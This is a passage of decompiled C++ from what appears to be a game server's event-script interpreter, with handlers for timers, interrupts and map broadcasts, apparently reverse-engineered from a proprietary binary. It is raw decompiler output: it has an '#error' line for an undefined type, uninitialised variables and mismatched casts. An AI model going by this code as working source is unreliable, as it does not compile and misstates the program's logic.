*ps) { PineEventScriptNode::OtherStatement *v2; // esi@1 PineScriptToken *v3; // eax@1 #331 *result; // eax@2 unsigned __int16 v5; // ax@3 #331 *v6; // eax@3 #331 *v7; // esi@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, unk_5B32D8); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = unk_5B32D8; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = PineEventScriptNode::Identify::i_GetVariable(&v2->os_Ident, ps); if ( v3 ) { v5 = PineScriptToken::pst_GetNumber(v3, 0); v6 = ShineObjectManager::som_GetObjectAbsolute(&shineobjmanager, v5); --funcallanalizer.fca_stackpoint; v7 = v6; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, unk_5B32D8); result = v7; } else { AssertClass::ac_AssertFail(&shineassert, unk_5B32A8, 0); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, unk_5B32D8); result = 0; } return result; } //----- (004ACEB0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StatePermillage::sa_Step(PineEventScriptNode::StatePermillage *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::StatePermillage *v4; // esi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 PineScriptToken *v8; // esi@1 unsigned int v9; // eax@2 char *v10; // eax@2 int v11; // ecx@2 int v12; // ST0C_4@2 PineScriptToken *v13; // eax@2 MobTacticElement::MobActionBase *v14; // eax@2 unsigned __int16 v15; // ax@3 unsigned __int16 v16; // si@3 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::StatePermillage::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::StatePermillage::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &stru_59CBB8); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "StatePermillage : "); v8 = PineEventScriptNode::Identify::i_GetVariable(&v4->sp_Var, ps); if ( v8 ) { v9 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v9; v10 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v9]]; v11 = *((_DWORD *)v10 + 8193) & (*((_DWORD *)v10 + 8192) + 1); *((_DWORD *)v10 + 8192) = v11; v12 = *(_WORD *)&v10[2 * v11]; v13 = PineScriptToken::pst_Clear(v8); PineScriptToken::pst_MergeNumber(v13, v12); v14 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)&scrpttrcr, (MobTacticElement::MobActionArgument *)v8); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v14, &trc_eol); } v15 = PineScriptStack::ProcessStack::ps_Pop(ps); --funcallanalizer.fca_stackpoint; v16 = v15; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PineEventScriptNode::StatePermillage::sa_Step"); return v16; } //----- (004AD000) -------------------------------------------------------- #error "4AD000: undefined or illegal type '#331' (funcsize=71)" //----- (004AD0E0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineScriptFile::sa_Step(PineEventScriptNode::ShineScriptFile *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineScriptFile *v4; // esi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 PineEventScriptNode::ScriptAtomVtbl *v8; // eax@1 MobTacticElement::MobActionBase *v9; // eax@4 MobTacticElement::MobActionBase *v10; // eax@5 char *v11; // eax@5 unsigned __int16 result; // ax@7 PineScriptToken scriptname; // [sp+10h] [bp-110h]@1 unsigned int v14; // [sp+110h] [bp-10h]@7 int v15; // [sp+11Ch] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, unk_5B33B8); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = unk_5B33B8; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v15 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &stru_59CBB8); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, &unk_5B33A4); PineScriptToken::pst_Clear(&scriptname); v8 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v15) = 1; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v8->sa_Calculate)(&scriptname, ps) != 0 ) { if ( PineScriptToken::operator__(&scriptname, byte_59A24E) ) { v9 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)&scrpttrcr, "Unset script file"); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v9, &trc_eol); *(_DWORD *)&ps->gap10114[28] = 0; } else { v10 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)&scrpttrcr, (MobTacticElement::MobActionArgument *)&scriptname); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v10, &trc_eol); MoveManager::MoveManager((DiceTaiSai *)&scriptname); *(_DWORD *)&ps->gap10114[28] = KQScriptManager::operator__(&kqscriptmanager, v11); } PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v15) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&scriptname); --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, unk_5B33B8); } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineScriptFile::sa_Step: wrong argument", 0); LOBYTE(v15) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&scriptname); --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, unk_5B33B8); } __security_check_cookie(v14); return result; } //----- (004AD2D0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineTimeLimit::sa_Step(PineEventScriptNode::ShineTimeLimit *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineTimeLimit *v4; // edi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 PineEventScriptNode::ScriptAtomVtbl *v8; // edx@1 MobTacticElement::MobActionBase *v9; // eax@3 MobTacticElement::MobActionBase *v10; // eax@3 MobTacticElement::MobActionBase *v11; // eax@3 Movie::TimeLimit *v12; // edi@3 int v13; // ebp@3 char *v14; // eax@3 unsigned __int16 result; // ax@4 PineScriptToken arg; // [sp+14h] [bp-210h]@1 PineScriptToken timeunit; // [sp+114h] [bp-110h]@1 unsigned int v18; // [sp+214h] [bp-10h]@4 int v19; // [sp+220h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineTimeLimit::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineTimeLimit::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v19 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &stru_59CBB8); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "ShineTimeLimit : "); PineScriptToken::pst_Clear(&timeunit); LOBYTE(v19) = 1; PineEventScriptNode::Identify::i_GetToken(&v4->baseclass_0.os_Ident, &timeunit, ps); PineScriptToken::pst_Clear(&arg); v8 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v19) = 2; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v8->sa_Calculate)(&arg, ps) != 0 ) { v9 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)&scrpttrcr, (MobTacticElement::MobActionArgument *)&timeunit); v10 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v9, &stru_59F2B8); v11 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v10, (MobTacticElement::MobActionArgument *)&arg); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v11, &trc_eol); v12 = *(Movie::TimeLimit **)&ps->gap10114[4]; v13 = PineScriptToken::pst_GetNumber(&arg, 0); MoveManager::MoveManager((DiceTaiSai *)&timeunit); v12 = (Movie::TimeLimit *)((char *)v12 + 66100); Movie::TimeLimit::tl_SetTimeLimit(v12, v14, v13); Movie::TimeLimit::tl_LeftTick(v12); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v19) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&arg); LOBYTE(v19) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&timeunit); --funcallanalizer.fca_stackpoint; v19 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineTimeLimit::sa_Step"); } else { AssertClass::ac_AssertFail(&shineassert, unk_5B33E8, 0); LOBYTE(v19) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&arg); LOBYTE(v19) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&timeunit); --funcallanalizer.fca_stackpoint; v19 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineTimeLimit::sa_Step"); } __security_check_cookie(v18); return result; } //----- (004AD510) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineInterruptSet::sa_Step(PineEventScriptNode::ShineInterruptSet *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineInterruptSet *v4; // esi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 PineScriptToken *v8; // eax@1 PineEventScriptNode::ScriptAtomVtbl *v9; // edx@1 const char *v10; // eax@3 int v11; // eax@3 PineScriptToken *v12; // edi@6 int v13; // esi@6 MobTacticElement::MobActionBase *v14; // eax@11 char *v15; // esi@12 const char *v16; // eax@12 void *v17; // ecx@12 char *v18; // esi@16 const char *v19; // eax@16 Movie::Theater *v20; // ecx@16 const char *v21; // eax@60 const char *v22; // eax@61 unsigned __int16 result; // ax@63 const char *v24; // [sp-4h] [bp-658h]@2 int v25; // [sp+0h] [bp-654h]@2 char v26; // [sp+0h] [bp-654h]@24 int num; // [sp+10h] [bp-644h]@6 signed int v28; // [sp+14h] [bp-640h]@6 char index[4]; // [sp+1Ch] [bp-638h]@3 int v30; // [sp+20h] [bp-634h]@3 int v31; // [sp+24h] [bp-630h]@3 int v32; // [sp+28h] [bp-62Ch]@3 Name4 Flagindex; // [sp+2Ch] [bp-628h]@12 PineScriptToken thisa; // [sp+3Ch] [bp-618h]@11 PineScriptToken exp[3]; // [sp+13Ch] [bp-518h]@6 PineScriptToken flag; // [sp+43Ch] [bp-218h]@1 PineScriptToken tkn; // [sp+53Ch] [bp-118h]@1 unsigned int cookie; // [sp+640h] [bp-14h]@63 int v39; // [sp+650h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineInterruptSet::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineInterruptSet::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v39 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &stru_59CBB8); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "InterruptSet : "); PineScriptToken::pst_Clear(&flag); LOBYTE(v39) = 1; v8 = PineEventScriptNode::Identify::i_GetToken(&v4->baseclass_0.os_Ident, &flag, ps); PineScriptToken::pst_ToLower(v8); PineScriptToken::pst_Clear(&tkn); v9 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v39) = 2; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v9->sa_Calculate)(&tkn, ps) != 0 ) { MoveManager::MoveManager((DiceTaiSai *)&tkn); v32 = 0; v31 = 0; v30 = 0; *(_DWORD *)index = 0; strncpy(index, v10, 0x10u); v11 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v4->baseclass_0.os_Express[1]->baseclass_0.vfptr->sa_Calculate)( &tkn, ps); v25 = 0; if ( v11 == 0 ) { v24 = "PineEventScriptNode::ShineInterruptSet::sa_Step : No num"; goto LABEL_5; } num = PineScriptToken::pst_GetNumber(&tkn, 0); _eh_vector_constructor_iterator_( exp, 0x100u, 3, (void (__thiscall *)(void *))PineScriptToken::pst_Clear, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); LOBYTE(v39) = 3; v12 = exp; v13 = (int)&v4->baseclass_0.os_Express[2]; v28 = 3; do { if ( *(_DWORD *)v13 ) (*(void (__stdcall **)(PineScriptToken *, PineScriptStack::ProcessStack *))(**(_DWORD **)v13 + 8))(v12, ps); else PineScriptToken::pst_Clear(v12); v13 += 4; ++v12; --v28; } while ( v28 ); v14 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)&scrpttrcr, (MobTacticElement::MobActionArgument *)&flag); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v14, &trc_eol); memcpy(&thisa, &flag, sizeof(thisa)); LOBYTE(v39) = 4; if ( PineScriptToken::operator__(&thisa, index_areaentry.pst_Buffer) ) { Movie::Theater::t_SetInterruptAreaEntry(*(Movie::Theater **)&ps->gap10114[4], (Name4 *)index, exp, num); v15 = gpp.pp_Buffer + 2; *(_WORD *)gpp.pp_Buffer = 27653; MoveManager::MoveManager((DiceTaiSai *)exp); *((_DWORD *)v15 + 7) = 0; *((_DWORD *)v15 + 6) = 0; *((_DWORD *)v15 + 5) = 0; *((_DWORD *)v15 + 4) = 0; *((_DWORD *)v15 + 3) = 0; *((_DWORD *)v15 + 2) = 0; *((_DWORD *)v15 + 1) = 0; *(_DWORD *)v15 = 0; strncpy(v15, v16, 0x20u); AxialListPacketBroadcast::AxialListPacketBroadcast((AxialListPacketBroadcast *)&Flagindex, &gpp, 34); v17 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77284); LOBYTE(v39) = 5; if ( v17 != 0 ) { ShineObjectClass::ShineObject::so_AllInMap(v17, (int)&Flagindex, 0); LOBYTE(v39) = 4; AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)&Flagindex); } else { AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); LOBYTE(v39) = 4; AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)&Flagindex); } goto LABEL_62; } if ( PineScriptToken::operator__(&thisa, index_arealeave.pst_Buffer) ) { Movie::Theater::t_SetInterruptAreaLeave(*(Movie::Theater **)&ps->gap10114[4], (Name4 *)index, exp, num); v18 = gpp.pp_Buffer + 2; *(_WORD *)gpp.pp_Buffer = 27655; MoveManager::MoveManager((DiceTaiSai *)exp); *((_DWORD *)v18 + 7) = 0; *((_DWORD *)v18 + 6) = 0; *((_DWORD *)v18 + 5) = 0; *((_DWORD *)v18 + 4) = 0; *((_DWORD *)v18 + 3) = 0; *((_DWORD *)v18 + 2) = 0; *((_DWORD *)v18 + 1) = 0; *(_DWORD *)v18 = 0; strncpy(v18, v19, 0x20u); AxialListPacketBroadcast::AxialListPacketBroadcast((AxialListPacketBroadcast *)&Flagindex, &gpp, 34); v20 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v39) = 6; Movie::Theater::t_AllInMap(v20, (AxialListIterator *)&Flagindex); LOBYTE(v39) = 4; AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)&Flagindex); } else { if ( PineScriptToken::operator__(&thisa, index_npcclickhandle.pst_Buffer) ) { Movie::Theater::t_SetInterruptNPCClickHandle(*(Movie::Theater **)&ps->gap10114[4], (Name4 *)index, exp, num); } else { if ( PineScriptToken::operator__(&thisa, index_npcclickindex.pst_Buffer) ) { Movie::Theater::t_SetInterruptNPCClickIndex(*(Movie::Theater **)&ps->gap10114[4], (Name4 *)index, exp, num); } else { if ( PineScriptToken::operator__(&thisa, index_npcclickany.pst_Buffer) ) { Movie::Theater::t_SetInterruptNPCClickAny(*(Movie::Theater **)&ps->gap10114[4], (Name4 *)index, exp, num); } else { if ( PineScriptToken::operator__(&thisa, index_millisec.pst_Buffer) ) { v26 = 109; } else { if ( PineScriptToken::operator__(&thisa, index_sec.pst_Buffer) ) { Movie::Theater::t_SetInterruptTimeInterval( *(Movie::Theater **)&ps->gap10114[4], (Name4 *)index, exp, num, 83); goto LABEL_62; } if ( !PineScriptToken::operator__(&thisa, index_minute.pst_Buffer) ) { if ( PineScriptToken::operator__(&thisa, index_hour.pst_Buffer) ) { Movie::Theater::t_SetInterruptTimeInterval( *(Movie::Theater **)&ps->gap10114[4], (Name4 *)index, exp, num, 72); } else { if ( PineScriptToken::operator__(&thisa, index_hplow.pst_Buffer) ) { Movie::Theater::t_SetInterruptHPLow(*(Movie::Theater **)&ps->gap10114[4], (Name4 *)index, exp, num); } else { if ( PineScriptToken::operator__(&thisa, index_mobeliminate.pst_Buffer) ) { Movie::Theater::t_SetInterruptMobEliminate( *(Movie::Theater **)&ps->gap10114[4], (Name4 *)index, exp, num); } else { if ( PineScriptToken::operator__(&thisa, index_playereliminate.pst_Buffer) ) { Movie::Theater::t_SetInterruptPlayerEliminate( *(Movie::Theater **)&ps->gap10114[4], (Name4 *)index, exp, num); } else { if ( PineScriptToken::operator__(&thisa, index_guildliminate.pst_Buffer) ) { Movie::Theater::t_SetInterruptGuildEliminate( *(Movie::Theater **)&ps->gap10114[4], (Name4 *)index, exp, num); } else { if ( PineScriptToken::operator__(&thisa, index_timeout.pst_Buffer) ) { Movie::Theater::t_SetInterruptTimeOut( *(Movie::Theater **)&ps->gap10114[4], (Name4 *)index, exp, num); } else { if ( PineScriptToken::operator__(&thisa, index_deadhandle.pst_Buffer) ) { Movie::Theater::t_SetInterruptDeadHandle( *(Movie::Theater **)&ps->gap10114[4], (Name4 *)index, exp, num); } else { if ( PineScriptToken::operator__(&thisa, index_deadindex.pst_Buffer) ) { Movie::Theater::t_SetInterruptDeadIndex( *(Movie::Theater **)&ps->gap10114[4], (Name4 *)index, exp, num); } else { if ( PineScriptToken::operator__(&thisa, index_killenemy.pst_Buffer) ) { Movie::Theater::t_SetInterruptKillEnemy( *(Movie::Theater **)&ps->gap10114[4], (Name4 *)index, exp, num); } else { if ( PineScriptToken::operator__(&thisa, index_targetchange.pst_Buffer) ) { Movie::Theater::t_SetInterruptTargetChange( *(Movie::Theater **)&ps->gap10114[4], (Name4 *)index, exp, num); } else { if ( PineScriptToken::operator__(&thisa, index_playerdead.pst_Buffer) ) { Movie::Theater::t_SetInterruptPlayerDead( *(Movie::Theater **)&ps->gap10114[4], (Name4 *)index, exp, num); } else { if ( PineScriptToken::operator__(&thisa, index_admin.pst_Buffer) ) { ScriptInterrupt::ScriptInterruptManager::sim_InterruptSet_Admin( (ScriptInterrupt::ScriptInterruptManager *)(*(_DWORD *)&ps->gap10114[4] + 66116), (Name4 *)index); } else { if ( PineScriptToken::operator__(&thisa, index_pickupitemindex.pst_Buffer) ) { Movie::Theater::t_SetInterruptPickUpItemIndex( *(Movie::Theater **)&ps->gap10114[4], (Name4 *)index, exp, num); } else { if ( PineScriptToken::operator__(&thisa, index_hpfull.pst_Buffer) ) { Movie::Theater::t_SetInterruptHPFull( *(Movie::Theater **)&ps->gap10114[4], (Name4 *)index, exp, num); } else { if ( PineScriptToken::operator__(&thisa, index_hpupper.pst_Buffer) ) { Movie::Theater::t_SetInterruptHPUpper( *(Movie::Theater **)&ps->gap10114[4], (Name4 *)index, exp, num); } else { MoveManager::MoveManager((DiceTaiSai *)&flag); Name4::Name4(&Flagindex, v21); if ( !ScriptInterrupt::ScriptInterruptManager::sim_InterruptSet_Unit( (ScriptInterrupt::ScriptInterruptManager *)(*(_DWORD *)&ps->gap10114[4] + 66116), &Flagindex, exp, num) ) { MoveManager::MoveManager((DiceTaiSai *)&flag); AssertClass::ac_AssertFail( &shineassert, "PineEventScriptNode::ShineInterruptSet::sa_Step : Invalid flag", v22); } } } } } } } } } } } } } } } } goto LABEL_62; } v26 = 77; } Movie::Theater::t_SetInterruptTimeInterval( *(Movie::Theater **)&ps->gap10114[4], (Name4 *)index, exp, num, v26); } } } } LABEL_62: LOBYTE(v39) = 3; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v39) = 2; _eh_vector_destructor_iterator_( exp, 0x100u, 3, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); goto LABEL_63; } v25 = 0; v24 = "PineEventScriptNode::ShineInterruptSet::sa_Step : No Index"; LABEL_5: AssertClass::ac_AssertFail(&shineassert, v24, v25); PineScriptStack::ProcessStack::ps_Pop(ps); LABEL_63: LOBYTE(v39) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); LOBYTE(v39) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&flag); --funcallanalizer.fca_stackpoint; v39 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineInterruptSet::sa_Step"); __security_check_cookie(cookie); return result; } //----- (004ADE10) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineInterruptErase::sa_Step(PineEventScriptNode::ShineInterruptErase *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineInterruptErase *v4; // esi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 MobTacticElement::MobActionBase *v8; // eax@1 PineEventScriptNode::ScriptAtomVtbl *v9; // eax@1 const char *v10; // eax@3 unsigned __int16 result; // ax@4 char index[4]; // [sp+10h] [bp-120h]@3 int v13; // [sp+14h] [bp-11Ch]@3 int v14; // [sp+18h] [bp-118h]@3 int v15; // [sp+1Ch] [bp-114h]@3 PineScriptToken intindex; // [sp+20h] [bp-110h]@1 unsigned int v17; // [sp+120h] [bp-10h]@4 int v18; // [sp+12Ch] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineInterruptErase::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineInterruptErase::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v18 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &stru_59CBB8); v8 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "ShineInterruptErase"); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v8, &trc_eol); PineScriptToken::pst_Clear(&intindex); v9 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v18) = 1; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v9->sa_Calculate)(&intindex, ps) != 0 ) { MoveManager::MoveManager((DiceTaiSai *)&intindex); v15 = 0; v14 = 0; v13 = 0; *(_DWORD *)index = 0; strncpy(index, v10, 0x10u); ScriptInterrupt::ScriptInterruptManager::sim_InterruptErase( (ScriptInterrupt::ScriptInterruptManager *)(*(_DWORD *)&ps->gap10114[4] + 66116), (Name4 *)index); } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineInterruptErase::sa_Step", 0); } PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v18) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&intindex); --funcallanalizer.fca_stackpoint; v18 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineInterruptErase::sa_Step"); __security_check_cookie(v17); return result; } //----- (004ADFB0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineWaitInterrupt::sa_Step(PineEventScriptNode::ShineWaitInterrupt *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineWaitInterrupt *v4; // edi@1 bool v5; // zf@1 MobTacticElement::MobActionBase *v6; // eax@2 MobTacticElement::MobActionBase *v7; // eax@2 MobTacticElement::MobActionBase *v8; // eax@2 MobTacticElement::MobActionBase *v9; // eax@2 PineScriptToken *v10; // ebp@2 PineEventScriptNode::ScriptAtomVtbl *v11; // eax@2 PineScriptToken *v12; // eax@2 PineScriptToken *v13; // eax@2 unsigned __int16 result; // ax@5 PineScriptToken tmp; // [sp+10h] [bp-110h]@2 unsigned int v16; // [sp+110h] [bp-10h]@5 int v17; // [sp+11Ch] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineWaitInterrupt::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineWaitInterrupt::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = *ip == 0; v17 = 0; if ( v5 ) { v6 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v7 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v6, (MobTacticElement::MobActionArgument *)exechandle); v8 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, &stru_59CBB8); v9 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v8, "ShineWaitInterrupt"); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v9, &trc_eol); ++*ip; v10 = PineEventScriptNode::Identify::i_GetVariable(&v4->baseclass_0.os_Ident, ps); PineScriptToken::pst_Clear(&tmp); v11 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v17) = 1; v12 = (PineScriptToken *)((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v11->sa_Calculate)( &tmp, ps); v13 = PineScriptStack::ProcessStack::ps_FindVariable(ps, v12); *(_DWORD *)&ps->gap10114[16] = v10; *(_DWORD *)&ps->gap10114[20] = v13; LOBYTE(v17) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tmp); } if ( ScriptInterrupt::ScriptInterruptManager::sim_InterruptBlast( (ScriptInterrupt::ScriptInterruptManager *)(*(_DWORD *)&ps->gap10114[4] + 66116), *(PineScriptToken **)&ps->gap10114[16], *(PineScriptToken **)&ps->gap10114[20], (Movie::TimeLimit *)(*(_DWORD *)&ps->gap10114[4] + 66100), *(#331 **)(*(_DWORD *)&ps->gap10114[4] + 77284), *(_DWORD *)(*(_DWORD 